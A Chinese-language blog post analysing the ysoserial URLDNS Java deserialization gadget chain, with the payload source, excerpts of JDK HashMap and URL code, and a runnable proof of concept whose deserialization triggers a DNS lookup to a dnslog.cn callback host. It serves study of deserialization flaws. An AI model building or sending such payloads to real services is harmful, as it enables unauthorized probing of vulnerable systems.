• URLDNS利用链分析


    URLDNS利用链分析

    1.原理阐述

    HashMap会对key进行hash计算获取hashCode,而URL类中的hashCode属性在特殊情况下(hashCode==1)的hashCode计算将触发dns查询

    2.代码分析

    ysoserial中的URLDNS.java

    @Dependencies()
    @Authors({ Authors.GEBL })
    public class URLDNS implements ObjectPayload<Object> {
    
            public Object getObject(final String url) throws Exception {
    
                    //Avoid DNS resolution during payload creation
                    //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                    URLStreamHandler handler = new SilentURLStreamHandler();
    
                    HashMap ht = new HashMap(); // HashMap that will contain the URL
                    URL u = new URL(null, url, handler); // URL to use as the Key
                    ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
    
                    Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
    
                    return ht;
            }
    
            public static void main(final String[] args) throws Exception {
                    PayloadRunner.run(URLDNS.class, args);
            }
    
            /**
             * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
             * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
             * using the serialized object.</p>
             *
             * <b>Potential false negative:</b>
             * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
             * second resolution.</p>
             */
            static class SilentURLStreamHandler extends URLStreamHandler {
    
                    protected URLConnection openConnection(URL u) throws IOException {
                            return null;
                    }
    
                    protected synchronized InetAddress getHostAddress(URL u) {
                            return null;
                    }
            }
    }
    
    

    前面的SilentURLStreamHandler是为了防止writeObject时URL实例导致的dns查询。
    根据对ysoserial代码的分析得知利用链为:

     *   Gadget Chain:
     *     HashMap.readObject()
     *       HashMap.putVal()
     *         HashMap.hash()
     *           URL.hashCode()
    

    反序列化会调用重写的readObejct(HashMap中的readObject)

        private void readObject(java.io.ObjectInputStream s)
            throws IOException, ClassNotFoundException {
            // Read in the threshold (ignored), loadfactor, and any hidden stuff
            s.defaultReadObject();
            reinitialize();
            if (loadFactor <= 0 || Float.isNaN(loadFactor))
                throw new InvalidObjectException("Illegal load factor: " +
                                                 loadFactor);
            s.readInt();                // Read and ignore number of buckets
            int mappings = s.readInt(); // Read number of mappings (size)
            if (mappings < 0)
                throw new InvalidObjectException("Illegal mappings count: " +
                                                 mappings);
            else if (mappings > 0) { // (if zero, use defaults)
                // Size the table using given load factor only if within
                // range of 0.25...4.0
                float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
                float fc = (float)mappings / lf + 1.0f;
                int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                           DEFAULT_INITIAL_CAPACITY :
                           (fc >= MAXIMUM_CAPACITY) ?
                           MAXIMUM_CAPACITY :
                           tableSizeFor((int)fc));
                float ft = (float)cap * lf;
                threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                             (int)ft : Integer.MAX_VALUE);
    
                // Check Map.Entry[].class since it's the nearest public type to
                // what we're actually creating.
                SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
                @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
                table = tab;
    
                // Read the keys and values, and put the mappings in the HashMap
                for (int i = 0; i < mappings; i++) {
                    @SuppressWarnings("unchecked")
                        K key = (K) s.readObject();
                    @SuppressWarnings("unchecked")
                        V value = (V) s.readObject();
                    putVal(hash(key), key, value, false, false);
                }
            }
        }
    

    后半段代码中发现该方法从ObjectInputStream获取了key和value,对key进行了hash计算。
    跟进hash方法

        static final int hash(Object key) {
            int h;
            return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
        }
    

    该方法中调用了key的hashCode方法。而ysoserial的URLDNS payload中给hashMap传的key是一个URL,因此这里调的是 java.net.URL的hashCode方法。

        public synchronized int hashCode() {
            if (hashCode != -1)
                return hashCode;
    
            hashCode = handler.hashCode(this);
            return hashCode;
        }
    

    当hashCode!=-1时返回hashCode,反之调用了handler.hashCode(this);
    跟进handler.hashCode

        protected int hashCode(URL u) {
            int h = 0;
    
            // Generate the protocol part.
            String protocol = u.getProtocol();
            if (protocol != null)
                h += protocol.hashCode();
    
            // Generate the host part.
            InetAddress addr = getHostAddress(u);
            if (addr != null) {
                h += addr.hashCode();
            } else {
                String host = u.getHost();
                if (host != null)
                    h += host.toLowerCase().hashCode();
            }
    
            // Generate the file part.
            String file = u.getFile();
            if (file != null)
                h += file.hashCode();
    
            // Generate the port part.
            if (u.getPort() == -1)
                h += getDefaultPort();
            else
                h += u.getPort();
    
            // Generate the ref part.
            String ref = u.getRef();
            if (ref != null)
                h += ref.hashCode();
    
            return h;
        }
    

    跟进其中的getHostAddress方法

        protected synchronized InetAddress getHostAddress(URL u) {
            if (u.hostAddress != null)
                return u.hostAddress;
    
            String host = u.getHost();
            if (host == null || host.equals("")) {
                return null;
            } else {
                try {
                    u.hostAddress = InetAddress.getByName(host);
                } catch (UnknownHostException ex) {
                    return null;
                } catch (SecurityException se) {
                    return null;
                }
            }
            return u.hostAddress;
        }
    

    static InetAddress getByName(String host) 方法,此方法返回一个InetAddress对象,用来在给定主机名的情况下确定主机的 IP 地址,也就是dns查询。
    代码如何执行到这里是我们的最终目标。回过头看 java.net.URL的hashCode方法

        public synchronized int hashCode() {
            if (hashCode != -1)
                return hashCode;
    
            hashCode = handler.hashCode(this);
            return hashCode;
        }
    

    hashCode属性要必须等于-1才能执行handler.hashCode(this),而在put方法中同样也调用这个hashCode方法,将默认的-1给重置了。

        public V put(K key, V value) {
            return putVal(hash(key), key, value, false, true);
        }
    
        static final int hash(Object key) {
            int h;
            return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
        }
    

    反序列化走到这里时hashCode已不再为-1,这里我们可以通过反射的方式修改hashCode属性使其重置为-1。

    public class Test implements Serializable {
    
        public static void main(String[] args) throws Exception {
    
            URLStreamHandler handler = new URLStreamHandler() {
                @Override
                protected URLConnection openConnection(URL u) throws IOException {
                    return null;
                }
            };
            HashMap hm = new HashMap();
            String url = "http://7167t8.dnslog.cn";
            URL u = new URL(null, url, handler);
            Class clazz = u.getClass();
    
            Field field = clazz.getDeclaredField("hashCode");
            field.setAccessible(true);
            field.set(u, 0xdeadbeef);
            hm.put(u, url);
            field.set(u, -1);
    
            //0x02.写入文件模拟网络传输
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("obj"));
            oos.writeObject(hm);
            //0x03.读取文件,进行反序列化触发payload
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream("obj"));
            ois.readObject();
        }
    
    }
    

    3.总结

    URLDNS利用链比较简单,危害较低。通过对代码的分析,走通了整个流程,明白了URLDNS触发原理。但值得反思的是如何发现利用链,第一个发现该利用链的大佬的思路是什么?

  • 相关阅读:
    POJ
    归并排序+归并排序求逆序对(例题P1908)
    HDU
    2018-12-5 及 codeforces round 525v2
    2018-12-1学习纪录
    近期总结和未来规划
    C++ storage allocation + Dynamic memory allocation + setting limits + initializer list (1)
    注意项
    第四课 计算机的基本组成
    第二课+第三课 计算机系统概论
  • 原文地址:https://www.cnblogs.com/g0udan/p/14914821.html
Copyright © 2020-2023  润新知